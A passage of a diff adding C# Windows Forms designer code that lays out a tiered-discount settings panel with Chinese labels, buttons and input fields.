this.ucGroupBoxEx2.TabStop = false; + this.ucGroupBoxEx2.Text = "参数设置"; + // + // ucGroupBoxEx4 + // + this.ucGroupBoxEx4.Anchor = ((System.Windows.Forms.AnchorStyles)((((System.Windows.Forms.AnchorStyles.Top | System.Windows.Forms.AnchorStyles.Bottom) + | System.Windows.Forms.AnchorStyles.Left) + | System.Windows.Forms.AnchorStyles.Right))); + this.ucGroupBoxEx4.BorderColor = System.Drawing.Color.FromArgb(((int)(((byte)(63)))), ((int)(((byte)(126)))), ((int)(((byte)(255))))); + this.ucGroupBoxEx4.BorderStyle = LittleRabbit.UserComponent.UcGroupBoxEx.GroupBoxBorderStyle.ROUND; + this.ucGroupBoxEx4.Controls.Add(this.panel12); + this.ucGroupBoxEx4.Controls.Add(this.panel16); + this.ucGroupBoxEx4.Controls.Add(this.panel9); + this.ucGroupBoxEx4.Location = new System.Drawing.Point(700, 10); + this.ucGroupBoxEx4.Name = "ucGroupBoxEx4"; + this.ucGroupBoxEx4.Size = new System.Drawing.Size(390, 146); + this.ucGroupBoxEx4.TabIndex = 570; + this.ucGroupBoxEx4.TabStop = false; + this.ucGroupBoxEx4.Text = "阶梯优惠"; + this.ucGroupBoxEx4.Visible = false; + // + // panel12 + // + this.panel12.Controls.Add(this.panel15); + this.panel12.Controls.Add(this.panel13); + this.panel12.Controls.Add(this.btnAdd3); + this.panel12.Controls.Add(this.panel14); + this.panel12.Location = new System.Drawing.Point(10, 50); + this.panel12.Name = "panel12"; + this.panel12.Size = new System.Drawing.Size(369, 90); + this.panel12.TabIndex = 563; + this.panel12.Visible = false; + // + // panel15 + // + this.panel15.Controls.Add(this.btnRemove9); + this.panel15.Controls.Add(this.label33); + this.panel15.Controls.Add(this.txtP18); + this.panel15.Controls.Add(this.txtP17); + this.panel15.Controls.Add(this.label34); + this.panel15.Controls.Add(this.label35); + this.panel15.Location = new System.Drawing.Point(0, 0); + this.panel15.Name = "panel15"; + this.panel15.Size = new System.Drawing.Size(275, 21); + this.panel15.TabIndex = 556; + // + // btnRemove9 + // + this.btnRemove9.CanvasColor = System.Drawing.SystemColors.Control; + this.btnRemove9.ColorSchemeStyle = DevComponents.DotNetBar.eDotNetBarStyle.StyleManagerControlled; + this.btnRemove9.DisabledBackColor = System.Drawing.Color.Empty; + this.btnRemove9.Enabled = false; + this.btnRemove9.Location = new System.Drawing.Point(223, 0); + this.btnRemove9.Name = "btnRemove9"; + this.btnRemove9.Size = new System.Drawing.Size(50, 21); + this.btnRemove9.Style.Alignment = System.Drawing.StringAlignment.Center; + this.btnRemove9.Style.BackColor1.Color = System.Drawing.Color.FromArgb(((int)(((byte)(185)))), ((int)(((byte)(215)))), ((int)(((byte)(255))))); + this.btnRemove9.Style.BackColor2.Color = System.Drawing.Color.FromArgb(((int)(((byte)(185)))), ((int)(((byte)(215)))), ((int)(((byte)(255))))); + this.btnRemove9.Style.Border = DevComponents.DotNetBar.eBorderType.SingleLine; + this.btnRemove9.Style.BorderColor.Color = System.Drawing.Color.FromArgb(((int)(((byte)(63)))), ((int)(((byte)(126)))), ((int)(((byte)(255))))); + this.btnRemove9.Style.ForeColor.ColorSchemePart = DevComponents.DotNetBar.eColorSchemePart.PanelText; + this.btnRemove9.Style.GradientAngle = 90; + this.btnRemove9.StyleMouseDown.Alignment = System.Drawing.StringAlignment.Center; + this.btnRemove9.StyleMouseOver.Alignment = System.Drawing.StringAlignment.Center; + this.btnRemove9.StyleMouseOver.BackColor1.Color = System.Drawing.Color.FromArgb(((int)(((byte)(63)))), ((int)(((byte)(126)))), ((int)(((byte)(255))))); + this.btnRemove9.StyleMouseOver.BackColor2.Color = System.Drawing.Color.FromArgb(((int)(((byte)(63)))), ((int)(((byte)(126)))), ((int)(((byte)(255))))); + this.btnRemove9.StyleMouseOver.ForeColor.Color = System.Drawing.Color.White; + this.btnRemove9.TabIndex = 523; + this.btnRemove9.Text = "删除"; + this.btnRemove9.Click += new System.EventHandler(this.btnRemove9_Click); + // + // label33 + // + this.label33.AutoSize = true; + this.label33.Location = new System.Drawing.Point(200, 4); + this.label33.Name = "label33"; + this.label33.Size = new System.Drawing.Size(17, 12); + this.label33.TabIndex = 518; + this.label33.Text = "元"; + // + // txtP18 + // + this.txtP18.Location = new System.Drawing.Point(131, 0); + this.txtP18.Name = "txtP18"; + this.txtP18.Size = new System.Drawing.Size(65, 21); + this.txtP18.TabIndex = 480; + // + // txtP17 + // + this.txtP17.Location = new System.Drawing.Point(23, 0); + this.txtP17.Name = "txtP17"; + this.txtP17.Size = new System.Drawing.Size(65, 21); + this.txtP17.TabIndex = 480; + // + // label34 + // + this.label34.AutoSize = true; + this.label34.Location = new System.Drawing.Point(92, 4); + this.label34.Name = "label34"; + this.label34.Size = new System.Drawing.Size(35, 12); + this.label34.TabIndex = 517; + this.label34.Text = "件 减"; + // + // label35 + // + this.label35.AutoSize = true; + this.label35.Location = new System.Drawing.Point(3, 4); + this.label35.Name = "label35"; + this.label35.Size = new System.Drawing.Size(17, 12); + this.label35.TabIndex = 517; + this.label35.Text = "满"; + // + // panel13 + // + this.panel13.Controls.Add(this.btnRemove11); + this.panel13.Controls.Add(this.label27); + this.panel13.Controls.Add(this.txtP22); + this.panel13.Controls.Add(this.txtP21); + this.panel13.Controls.Add(this.label28); + this.panel13.Controls.Add(this.label29); + this.panel13.Location = new System.Drawing.Point(0, 68); + this.panel13.Name = "panel13"; + this.panel13.Size = new System.Drawing.Size(275, 21); + this.panel13.TabIndex = 556; + this.panel13.Visible = false; + // + // btnRemove11 + // + this.btnRemove11.CanvasColor = System.Drawing.SystemColors.Control; + this.btnRemove11.ColorSchemeStyle = DevComponents.DotNetBar.eDotNetBarStyle.StyleManagerControlled; + this.btnRemove11.DisabledBackColor = System.Drawing.Color.Empty; + this.btnRemove11.Location = new System.Drawing.Point(223, 0); + this.btnRemove11.Name = "btnRemove11"; + this.btnRemove11.Size = new System.Drawing.Size(50, 21); + this.btnRemove11.Style.Alignment = System.Drawing.StringAlignment.Center; + this.btnRemove11.Style.BackColor1.Color = System.Drawing.Color.FromArgb(((int)(((byte)(185)))), ((int)(((byte)(215)))), ((int)(((byte)(255))))); + this.btnRemove11.Style.BackColor2.Color = System.Drawing.Color.FromArgb(((int)(((byte)(185)))), ((int)(((byte)(215)))), ((int)(((byte)(255))))); + this.btnRemove11.Style.Border = DevComponents.DotNetBar.eBorderType.SingleLine; + this.btnRemove11.Style.BorderColor.Color = System.Drawing.Color.FromArgb(((int)(((byte)(63)))), ((int)(((byte)(126)))), ((int)(((byte)(255))))); + this.btnRemove11.Style.ForeColor.ColorSchemePart = DevComponents.DotNetBar.eColorSchemePart.PanelText; + this.btnRemove11.Style.GradientAngle = 90; + this.btnRemove11.StyleMouseDown.Alignment = System.Drawing.StringAlignment.Center; + this.btnRemove11.StyleMouseOver.Alignment = System.Drawing.StringAlignment.Center; + this.btnRemove11.StyleMouseOver.BackColor1.Color = System.Drawing.Color.FromArgb(((int)(((byte)(63)))), ((int)(((byte)(126)))), ((int)(((byte)(255))))); + this.btnRemove11.StyleMouseOver.BackColor2.Color = System.Drawing.Color.FromArgb(((int)(((byte)(63)))), ((int)(((byte)(126)))), ((int)(((byte)(255))))); + this.btnRemove11.StyleMouseOver.ForeColor.Color = System.Drawing.Color.White; + this.btnRemove11.TabIndex = 523; + this.btnRemove11.Text = "删除"; + this.btnRemove11.Click += new System.EventHandler(this.btnRemove11_Click); + // + // label27 + // + this.label27.AutoSize = true; + this.label27.Location = new System.Drawing.Point(200, 4); + this.label27.Name = "label27"; + this.label27.Size = new System.Drawing.Size(17, 12); + this.label27.TabIndex = 518; + this.label27.Text = "元"; + // + // txtP22 + // + this.txtP22.Location = new System.Drawing.Point(131, 0); + this.txtP22.Name = "txtP22"; + this.txtP22.Size = new System.Drawing.Size(65, 21); + this.txtP22.TabIndex = 480; + // + // txtP21 + // + this.txtP21.Location = new System.Drawing.Point(23, 0); + this.txtP21.Name = "txtP21"; + this.txtP21.Size = new System.Drawing.Size(65, 21); + this.txtP21.TabIndex = 480; + // + // label28 + // + this.label28.AutoSize = true; + this.label28.Location = new System.Drawing.Point(92, 4); + this.label28.Name = "label28"; + this.label28.Size = new System.Drawing.Size(35, 12); + this.label28.TabIndex = 517; + this.label28.Text = "件 减"; + // + // label29 + // + this.label29.AutoSize = true; + this.label29.Location = new System.Drawing.Point(3, 4); + this.label29.Name = "label29"; + this.label29.Size = new System.Drawing.Size(17, 12); + this.label29.TabIndex = 517; + this.label29.Text = "满"; + // + // btnAdd3 + // + this.btnAdd3.ColorSchemeStyle = DevComponents.DotNetBar.eDotNetBarStyle.StyleManagerControlled; + this.btnAdd3.Cursor = System.Windows.Forms.Cursors.Hand; + this.btnAdd3.DisabledBackColor = System.Drawing.Color.Empty; + this.btnAdd3.Font = new System.Drawing.Font("微软雅黑", 9F, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, ((byte)(134))); + this.btnAdd3.Location = new System.Drawing.Point(280, 0); + this.btnAdd3.Name = "btnAdd3"; + this.btnAdd3.Size = new System.Drawing.Size(90, 21); + this.btnAdd3.Style.Alignment = System.Drawing.StringAlignment.Center; + this.btnAdd3.Style.BackColor1.Color = System.Drawing.Color.FromArgb(((int)(((byte)(63)))), ((int)(((byte)(126)))), ((int)(((byte)(255))))); + this.btnAdd3.Style.BackColor2.Color = System.Drawing.Color.FromArgb(((int)(((byte)(63)))), ((int)(((byte)(126)))), ((int)(((byte)(255))))); + this.btnAdd3.Style.BorderColor.ColorSchemePart = DevComponents.DotNetBar.eColorSchemePart.PanelBorder; + this.btnAdd3.Style.BorderDashStyle = System.Drawing.Drawing2D.DashStyle.Dash; + this.btnAdd3.Style.BorderSide = DevComponents.DotNetBar.eBorderSide.None; + this.btnAdd3.Style.ForeColor.Color = System.Drawing.Color.White; + this.btnAdd3.Style.GradientAngle = 90; + this.btnAdd3.StyleMouseOver.Alignment = System.Drawing.StringAlignment.Center; + this.btnAdd3.StyleMouseOver.BackColor1.Color = System.Drawing.Color.FromArgb(((int)(((byte)(25)))), ((int)(((byte)(102)))), ((int)(((byte)(255))))); + this.btnAdd3.StyleMouseOver.BackColor2.Color = System.Drawing.Color.FromArgb(((int)(((byte)(25)))), ((int)(((byte)(102)))), ((int)(((byte)(255))))); + this.btnAdd3.TabIndex = 557; + this.btnAdd3.Text = "增加规则(1/3)"; + this.btnAdd3.Click += new System.EventHandler(this.btnAdd3_Click); + // + // panel14 + // + this.panel14.Controls.Add(this.btnRemove10); + this.panel14.Controls.Add(this.label30); + this.panel14.Controls.Add(this.txtP20); + this.panel14.Controls.Add(this.txtP19); + this.panel14.Controls.Add(this.label31); + this.panel14.Controls.Add(this.label32); + this.panel14.Location = new System.Drawing.Point(0, 34); + this.panel14.Name = "panel14"; + this.panel14.Size = new System.Drawing.Size(275, 21); + this.panel14.TabIndex = 556; + this.panel14.Visible = false; + // + // btnRemove10 + // + this.btnRemove10.CanvasColor = System.Drawing.SystemColors.Control; + this.btnRemove10.ColorSchemeStyle = DevComponents.DotNetBar.eDotNetBarStyle.StyleManagerControlled; + this.btnRemove10.DisabledBackColor = System.Drawing.Color.Empty; + this.btnRemove10.Location = new System.Drawing.Point(223, 0); + this.btnRemove10.Name = "btnRemove10"; + this.btnRemove10.Size = new System.Drawing.Size(50, 21); + this.btnRemove10.Style.Alignment = System.Drawing.StringAlignment.Center; + this.btnRemove10.Style.BackColor1.Color = System.Drawing.Color.FromArgb(((int)(((byte)(185)))), ((int)(((byte)(215)))), ((int)(((byte)(255))))); + this.btnRemove10.Style.BackColor2.Color = System.Drawing.Color.FromArgb(((int)(((byte)(185)))), ((int)(((byte)(215)))), ((int)(((byte)(255))))); + this.btnRemove10.Style.Border = DevComponents.DotNetBar.eBorderType.SingleLine; + this.btnRemove10.Style.BorderColor.Color = System.Drawing.Color.FromArgb(((int)(((byte)(63)))), ((int)(((byte)(126)))), ((int)(((byte)(255))))); + this.btnRemove10.Style.ForeColor.ColorSchemePart = DevComponents.DotNetBar.eColorSchemePart.PanelText; + this.btnRemove10.Style.GradientAngle = 90; + this.btnRemove10.StyleMouseDown.Alignment = System.Drawing.StringAlignment.Center; + this.btnRemove10.StyleMouseOver.Alignment = System.Drawing.StringAlignment.Center; + this.btnRemove10.StyleMouseOver.BackColor1.Color = System.Drawing.Color.FromArgb(((int)(((byte)(63)))), ((int)(((byte)(126)))), ((int)(((byte)(255))))); + this.btnRemove10.StyleMouseOver.BackColor2.Color = System.Drawing.Color.FromArgb(((int)(((byte)(63)))), ((int)(((byte)(126)))), ((int)(((byte)(255))))); + this.btnRemove10.StyleMouseOver.ForeColor.Color = System.Drawing.Color.White; + this.btnRemove10.TabIndex = 523; + this.btnRemove10.Text = "删除"; + this.btnRemove10.Click += new System.EventHandler(this.btnRemove10_Click); + // + // label30 + // + this.label30.AutoSize = true; + this.label30.Location = new System.Drawing.Point(200, 4); + this.label30.Name = "label30"; + this.label30.Size = new System.Drawing.Size(17, 12); + this.label30.TabIndex = 518; + this.label30.Text = "元"; + // + // txtP20 + // + this.txtP20.Location = new System.Drawing.Point(131, 0); + this.txtP20.Name = "txtP20"; + this.txtP20.Size = new System.Drawing.Size(65, 21); + this.txtP20.TabIndex = 480; + // + // txtP19 + // + this.txtP19.Location = new System.Drawing.Point(23, 0); + this.txtP19.Name = "txtP19"; + this.txtP19.Size = new System.Drawing.Size(65, 21); + this.txtP19.TabIndex = 480; + // + // label31 + // + this.label31.AutoSize = true; + this.label31.Location = new System.Drawing.Point(92, 4); + this.label31.Name = "label31"; + this.label31.Size = new System.Drawing.Size(35, 12); + this.label31.TabIndex = 517; + this.label31.Text = "件 减"; + // + // label32 + // + this.label32.AutoSize = true; + this.label32.Location = new System.Drawing.Point(3, 4); + this.label32.Name = "label32"; + this.label32.Size = new System.Drawing.Size(17, 12); + this.label32.TabIndex = 517; + this.label32.Text = "满"; + // + // panel16 + // + this.panel16.Controls.Add(this.panel8); + this.panel16.Controls.Add(this.btnAdd2); + this.panel16.Controls.Add(this.panel11); + this.panel16.Controls.Add(this.panel10); + this.panel16.Location = new System.Drawing.Point(10, 50); + this.panel16.Name = "panel16"; + this.panel16.Size = new System.Drawing.Size(370, 90); + this.panel16.TabIndex = 567; + // + // panel8 + // + this.panel8.Controls.Add(this.btnRemove6); + this.panel8.Controls.Add(this.label18); + this.panel8.Controls.Add(this.txtP12); + this.panel8.Controls.Add(this.txtP11); + this.panel8.Controls.Add(this.label19); + this.panel8.Controls.Add(this.label20); + this.panel8.Location = new System.Drawing.Point(0, 0); + this.panel8.Name = "panel8"; + this.panel8.Size = new System.Drawing.Size(275, 21); + this.panel8.TabIndex = 556; + // + // btnRemove6 + // + this.btnRemove6.CanvasColor = System.Drawing.SystemColors.Control; + this.btnRemove6.ColorSchemeStyle = DevComponents.DotNetBar.eDotNetBarStyle.StyleManagerControlled; + this.btnRemove6.DisabledBackColor = System.Drawing.Color.Empty; + this.btnRemove6.Enabled = false; + this.btnRemove6.Location = new System.Drawing.Point(223, 0); + this.btnRemove6.Name = "btnRemove6"; + this.btnRemove6.Size = new System.Drawing.Size(50, 21); + this.btnRemove6.Style.Alignment = System.Drawing.StringAlignment.Center; + this.btnRemove6.Style.BackColor1.Color = System.Drawing.Color.FromArgb(((int)(((byte)(185)))), ((int)(((byte)(215)))), ((int)(((byte)(255))))); + this.btnRemove6.Style.BackColor2.Color = System.Drawing.Color.FromArgb(((int)(((byte)(185)))), ((int)(((byte)(215)))), ((int)(((byte)(255))))); + this.btnRemove6.Style.Border = DevComponents.DotNetBar.eBorderType.SingleLine; + this.btnRemove6.Style.BorderColor.Color = System.Drawing.Color.FromArgb(((int)(((byte)(63)))), ((int)(((byte)(126)))), ((int)(((byte)(255))))); + this.btnRemove6.Style.ForeColor.ColorSchemePart = DevComponents.DotNetBar.eColorSchemePart.PanelText; + this.btnRemove6.Style.GradientAngle = 90; + this.btnRemove6.StyleMouseDown.Alignment = System.Drawing.StringAlignment.Center; + this.btnRemove6.StyleMouseOver.Alignment = System.Drawing.StringAlignment.Center; + this.btnRemove6.StyleMouseOver.BackColor1.Color = System.Drawing.Color.FromArgb(((int)(((byte)(63)))), ((int)(((byte)(126)))), ((int)(((byte)(255))))); + this.btnRemove6.StyleMouseOver.BackColor2.Color = System.Drawing.Color.FromArgb(((int)(((byte)(63)))), ((int)(((byte)(126)))), ((int)(((byte)(255))))); + this.btnRemove6.StyleMouseOver.ForeColor.Color = System.Drawing.Color.White; + this.btnRemove6.TabIndex = 523; + this.btnRemove6.Text = "删除"; + this.btnRemove6.Click += new System.EventHandler(this.btnRemove6_Click); + // + // label18 + // + this.label18.AutoSize = true; + this.label18.Location = new System.Drawing.Point(200, 4); + this.label18.Name = "label18"; + this.label18.Size = new System.Drawing.Size(17, 12); + this.label18.TabIndex = 518; + this.label18.Text = "折"; + // + // txtP12 + // + this.txtP12.Location = new System.Drawing.Point(131, 0); + this.txtP12.Name = "txtP12"; + this.txtP12.Size = new System.Drawing.Size(65, 21); + this.txtP12.TabIndex = 480; + // + // txtP11 + // + this.txtP11.Location = new System.Drawing.Point(23, 0); + this.txtP11.Name = "txtP11"; + this.txtP11.Size = new System.Drawing.Size(65, 21); + this.txtP11.TabIndex = 480; + // + // label19 + // + this.label19.AutoSize = true; + this.label19.Location = new System.Drawing.Point(92, 4); + this.label19.Name = "label19"; + this.label19.Size = new System.Drawing.Size(35, 12); + this.label19.TabIndex = 517; + this.label19.Text = "件 打"; + // + // label20 + // + this.label20.AutoSize = true; + this.label20.Location = new System.Drawing.Point(3, 4); + this.label20.Name = "label20"; + this.label20.Size = new System.Drawing.Size(17, 12); + this.label20.TabIndex = 517; + this.label20.Text = "满"; + // + // btnAdd2 + // + this.btnAdd2.ColorSchemeStyle = DevComponents.DotNetBar.eDotNetBarStyle.StyleManagerControlled; + this.btnAdd2.Cursor = System.Windows.Forms.Cursors.Hand; + this.btnAdd2.DisabledBackColor = System.Drawing.Color.Empty; + this.btnAdd2.Font = new System.Drawing.Font("微软雅黑", 9F, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, ((byte)(134))); + this.btnAdd2.Location = new System.Drawing.Point(280, 0); + this.btnAdd2.Name = "btnAdd2"; + this.btnAdd2.Size = new System.Drawing.Size(90, 21); + this.btnAdd2.Style.Alignment = System.Drawing.StringAlignment.Center; + this.btnAdd2.Style.BackColor1.Color = System.Drawing.Color.FromArgb(((int)(((byte)(63)))), ((int)(((byte)(126)))), ((int)(((byte)(255))))); + this.btnAdd2.Style.BackColor2.Color = System.Drawing.Color.FromArgb(((int)(((byte)(63)))), ((int)(((byte)(126)))), ((int)(((byte)(255))))); + this.btnAdd2.Style.BorderColor.ColorSchemePart = DevComponents.DotNetBar.eColorSchemePart.PanelBorder; + this.btnAdd2.Style.BorderDashStyle = System.Drawing.Drawing2D.DashStyle.Dash; + this.btnAdd2.Style.BorderSide = DevComponents.DotNetBar.eBorderSide.None; + this.btnAdd2.Style.ForeColor.Color = System.Drawing.Color.White; + this.btnAdd2.Style.GradientAngle = 90; + this.btnAdd2.StyleMouseOver.Alignment = System.Drawing.StringAlignment.Center; + this.btnAdd2.StyleMouseOver.BackColor1.Color = System.Drawing.Color.FromArgb(((int)(((byte)(25)))), ((int)(((byte)(102)))), ((int)(((byte)(255))))); + this.btnAdd2.StyleMouseOver.BackColor2.Color = System.Drawing.Color.FromArgb(((int)(((byte)(25)))), ((int)(((byte)(102)))), ((int)(((byte)(255))))); + this.btnAdd2.TabIndex = 557; + this.btnAdd2.Text = "增加规则(1/3)"; + this.btnAdd2.Click += new System.EventHandler(this.btnAdd2_Click); + // + // panel11 + // + this.panel11.Controls.Add(this.btnRemove8); + this.panel11.Controls.Add(this.label24); + this.panel11.Controls.Add(this.txtP16); + this.panel11.Controls.Add(this.txtP15); + this.panel11.Controls.Add(this.label25); + this.panel11.Controls.Add(this.label26); + this.panel11.Location = new System.Drawing.Point(0, 68); + this.panel11.Name = "panel11"; + this.panel11.Size = new System.Drawing.Size(275, 21); + this.panel11.TabIndex = 556; + this.panel11.Visible = false; + // + // btnRemove8 + // + this.btnRemove8.CanvasColor = System.Drawing.SystemColors.Control; + this.btnRemove8.ColorSchemeStyle = DevComponents.DotNetBar.eDotNetBarStyle.StyleManagerControlled; + this.btnRemove8.DisabledBackColor = System.Drawing.Color.Empty; + this.btnRemove8.Location = new System.Drawing.Point(223, 0); + this.btnRemove8.Name = "btnRemove8"; + this.btnRemove8.Size = new System.Drawing.Size(50, 21); + this.btnRemove8.Style.Alignment = System.Drawing.StringAlignment.Center; + this.btnRemove8.Style.BackColor1.Color = System.Drawing.Color.FromArgb(((int)(((byte)(185)))), ((int)(((byte)(215)))), ((int)(((byte)(255))))); + this.btnRemove8.Style.BackColor2.Color = System.Drawing.Color.FromArgb(((int)(((byte)(185)))), ((int)(((byte)(215)))), ((int)(((byte)(255))))); + this.btnRemove8.Style.Border = DevComponents.DotNetBar.eBorderType.SingleLine; + this.btnRemove8.Style.BorderColor.Color = System.Drawing.Color.FromArgb(((int)(((byte)(63)))), ((int)(((byte)(126)))), ((int)(((byte)(255))))); + this.btnRemove8.Style.ForeColor.ColorSchemePart = DevComponents.DotNetBar.eColorSchemePart.PanelText; + this.btnRemove8.Style.GradientAngle = 90; + this.btnRemove8.StyleMouseDown.Alignment = System.Drawing.StringAlignment.Center; + this.btnRemove8.StyleMouseOver.Alignment = System.Drawing.StringAlignment.Center; + this.btnRemove8.StyleMouseOver.BackColor1.Color = System.Drawing.Color.FromArgb(((int)(((byte)(63)))), ((int)(((byte)(126)))), ((int)(((byte)(255))))); + this.btnRemove8.StyleMouseOver.BackColor2.Color = System.Drawing.Color.FromArgb(((int)(((byte)(63)))), ((int)(((byte)(126)))), ((int)(((byte)(255))))); + this.btnRemove8.StyleMouseOver.ForeColor.Color = System.Drawing.Color.White; + this.btnRemove8.TabIndex = 523; + this.btnRemove8.Text = "删除"; + this.btnRemove8.Click += new System.EventHandler(this.btnRemove8_Click); + // + // label24 + // + this.label24.AutoSize = true; + this.label24.Location = new System.Drawing.Point(200, 4); + this.label24.Name = "label24"; + this.label24.Size = new System.Drawing.Size(17, 12); + this.label24.TabIndex = 518; + this.label24.Text = "折"; + // + // txtP16 + // + this.txtP16.Location = new System.Drawing.Point(131, 0); + this.txtP16.Name = "txtP16"; + this.txtP16.Size = new System.Drawing.Size(65, 21); + this.txtP16.TabIndex = 480; + // + // txtP15 + // + this.txtP15.Location = new System.Drawing.Point(23, 0); + this.txtP15.Name = "txtP15"; + this.txtP15.Size = new System.Drawing.Size(65, 21); + this.txtP15.TabIndex = 480; + // + // label25 + // + this.label25.AutoSize = true; + this.label25.Location = new System.Drawing.Point(92, 4); + this.label25.Name = "label25"; + this.label25.Size = new System.Drawing.Size(35, 12); + this.label25.TabIndex = 517; + this.label25.Text = "件 打"; + // + // label26 + // + this.label26.AutoSize = true; + this.label26.Location = new System.Drawing.Point(3, 4); + this.label26.Name = "label26"; + this.label26.Size = new System.Drawing.Size(17, 12); + this.label26.TabIndex = 517; + this.label26.Text = "满"; + // + // panel10 + // + this.panel10.Controls.Add(this.btnRemove7); + this.panel10.Controls.Add(this.label21); + this.panel10.Controls.Add(this.txtP14); + this.panel10.Controls.Add(this.txtP13); + this.panel10.Controls.Add(this.label22); + this.panel10.Controls.Add(this.label23); + this.panel10.Location = new System.Drawing.Point(0, 34); + this.panel10.Name = "panel10"; + this.panel10.Size = new System.Drawing.Size(275, 21); + this.panel10.TabIndex = 556; + this.panel10.Visible = false; + // + // btnRemove7 + // + this.btnRemove7.CanvasColor = System.Drawing.SystemColors.Control; + this.btnRemove7.ColorSchemeStyle = DevComponents.DotNetBar.eDotNetBarStyle.StyleManagerControlled; + this.btnRemove7.DisabledBackColor = System.Drawing.Color.Empty; + this.btnRemove7.Location = new System.Drawing.Point(223, 0); + this.btnRemove7.Name = "btnRemove7"; + this.btnRemove7.Size = new System.Drawing.Size(50, 21); + this.btnRemove7.Style.Alignment = System.Drawing.StringAlignment.Center; + this.btnRemove7.Style.BackColor1.Color = System.Drawing.Color.FromArgb(((int)(((byte)(185)))), ((int)(((byte)(215)))), ((int)(((byte)(255))))); + this.btnRemove7.Style.BackColor2.Color = System.Drawing.Color.FromArgb(((int)(((byte)(185)))), ((int)(((byte)(215)))), ((int)(((byte)(255))))); + this.btnRemove7.Style.Border = DevComponents.DotNetBar.eBorderType.SingleLine; + this.btnRemove7.Style.BorderColor.Color = System.Drawing.Color.FromArgb(((int)(((byte)(63)))), ((int)(((byte)(126)))), ((int)(((byte)(255))))); + this.btnRemove7.Style.ForeColor.ColorSchemePart = DevComponents.DotNetBar.eColorSchemePart.PanelText; + this.btnRemove7.Style.GradientAngle = 90; + this.btnRemove7.StyleMouseDown.Alignment = System.Drawing.StringAlignment.Center; + this.btnRemove7.StyleMouseOver.Alignment = System.Drawing.StringAlignment.Center; + this.btnRemove7.StyleMouseOver.BackColor1.Color = System.Drawing.Color.FromArgb(((int)(((byte)(63)))), ((int)(((byte)(126)))), ((int)(((byte)(255))))); + this.btnRemove7.StyleMouseOver.BackColor2.Color = System.Drawing.Color.FromArgb(((int)(((byte)(63)))), ((int)(((byte)(126)))), ((int)(((byte)(255))))); + this.btnRemove7.StyleMouseOver.ForeColor.Color = System.Drawing.Color.White; + this.btnRemove7.TabIndex = 523; + this.btnRemove7.Text = "删除"; + this.btnRemove7.Click += new System.EventHandler(this.btnRemove7_Click); + // + // label21 + // + this.label21.AutoSize = true; + this.label21.Location = new System.Drawing.Point(200, 4); + this.label21.Name = "label21"; + this.label21.Size = new System.Drawing.Size(17, 12); + this.label21.TabIndex = 518; + this.label21.Text = "折"; + // + // txtP14 + // + this.txtP14.Location = new System.Drawing.Point(131, 0); + this.txtP14.Name = "txtP14"; + this.txtP14.Size = new System.Drawing.Size(65, 21); + this.txtP14.TabIndex = 480; + // + // txtP13 + // + this.txtP13.Location = new System.Drawing.Point(23, 0); + this.txtP13.Name = "txtP13"; + this.txtP13.Size = new System.Drawing.Size(65, 21); + this.txtP13.TabIndex = 480; + // + // label22 + // + this.label22.AutoSize = true; + this.label22.Location = new System.Drawing.Point(92, 4); + this.label22.Name = "label22"; + this.label22.Size = new System.Drawing.Size(35, 12); + this.label22.TabIndex = 517; + this.label22.Text = "件 打"; + // + // label23 + // + this.label23.AutoSize = true; + this.label23.Location = new System.Drawing.Point(3, 4); + this.label23.Name = "label23"; + this.label23.Size = new System.Drawing.Size(17, 12); + this.label23.TabIndex = 517; + this.label23.Text = "满"; + // + // panel9 + // + this.panel9.Controls.Add(this.rdoReduction); + this.panel9.Controls.Add(this.rdoDiscount); + this.panel9.Location = new System.Drawing.Point(65, 20); + this.panel9.Name = "panel9"; + this.panel9.Size = new System.Drawing.Size(233, 23); + this.panel9.TabIndex = 563; + // + // rdoReduction + // + this.rdoReduction.AutoSize = true; + this.rdoReduction.Location = new System.Drawing.Point(120, 3); + this.rdoReduction.Name = "rdoReduction"; + this.rdoReduction.Size = new System.Drawing.Size(89, 16); + this.rdoReduction.TabIndex = 467; + this.rdoReduction.Text = "满N件 减X元"; + this.rdoReduction.UseVisualStyleBackColor = true; + // + // rdoDiscount + // + this.rdoDiscount.AutoSize = true; + this.rdoDiscount.Checked = true; + this.rdoDiscount.Location = new System.Drawing.Point(3, 3); + this.rdoDiscount.Name = "rdoDiscount"; + this.rdoDiscount.Size = new System.Drawing.Size(89, 16); + this.rdoDiscount.TabIndex = 466; + this.rdoDiscount.TabStop = true; + this.rdoDiscount.Text = "满N件 打X折"; + this.rdoDiscount.UseVisualStyleBackColor = true; + this.rdoDiscount.CheckedChanged += new System.EventHandler(this.rdoDiscount_CheckedChanged); + // + // ucGroupBoxEx3 + // + this.ucGroupBoxEx3.Anchor = ((System.Windows.Forms.AnchorStyles)((((System.Windows.Forms.AnchorStyles.Top | System.Windows.Forms.AnchorStyles.Bottom) + | System.Windows.Forms.AnchorStyles.Left) + | System.Windows.Forms.AnchorStyles.Right))); + this.ucGroupBoxEx3.BorderColor = System.Drawing.Color.FromArgb(((int)(((byte)(63)))), ((int)(((byte)(126)))), ((int)(((byte)(255))))); + this.ucGroupBoxEx3.BorderStyle = LittleRabbit.UserComponent.UcGroupBoxEx.GroupBoxBorderStyle.ROUND; + this.ucGroupBoxEx3.Controls.Add(this.btnAdd1); + this.ucGroupBoxEx3.Controls.Add(this.panel7); + this.ucGroupBoxEx3.Controls.Add(this.panel6); + this.ucGroupBoxEx3.Controls.Add(this.panel4); + this.ucGroupBoxEx3.Controls.Add(this.panel3); + this.ucGroupBoxEx3.Controls.Add(this.pnlDiscount); + this.ucGroupBoxEx3.Location = new System.Drawing.Point(300, 10); + this.ucGroupBoxEx3.Name = "ucGroupBoxEx3"; + this.ucGroupBoxEx3.Size = new System.Drawing.Size(390, 146); + this.ucGroupBoxEx3.TabIndex = 570; + this.ucGroupBoxEx3.TabStop = false; + this.ucGroupBoxEx3.Text = "阶梯满减"; + // + // btnAdd1 + // + this.btnAdd1.ColorSchemeStyle = DevComponents.DotNetBar.eDotNetBarStyle.StyleManagerControlled; + this.btnAdd1.Cursor = System.Windows.Forms.Cursors.Hand; + this.btnAdd1.DisabledBackColor = System.Drawing.Color.Empty; + this.btnAdd1.Font = new System.Drawing.Font("微软雅黑", 9F, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, ((byte)(134))); + this.btnAdd1.Location = new System.Drawing.Point(290, 20); + this.btnAdd1.Name = "btnAdd1"; + this.btnAdd1.Size = new System.Drawing.Size(90, 21); + this.btnAdd1.Style.Alignment = System.Drawing.StringAlignment.Center; + this.btnAdd1.Style.BackColor1.Color = 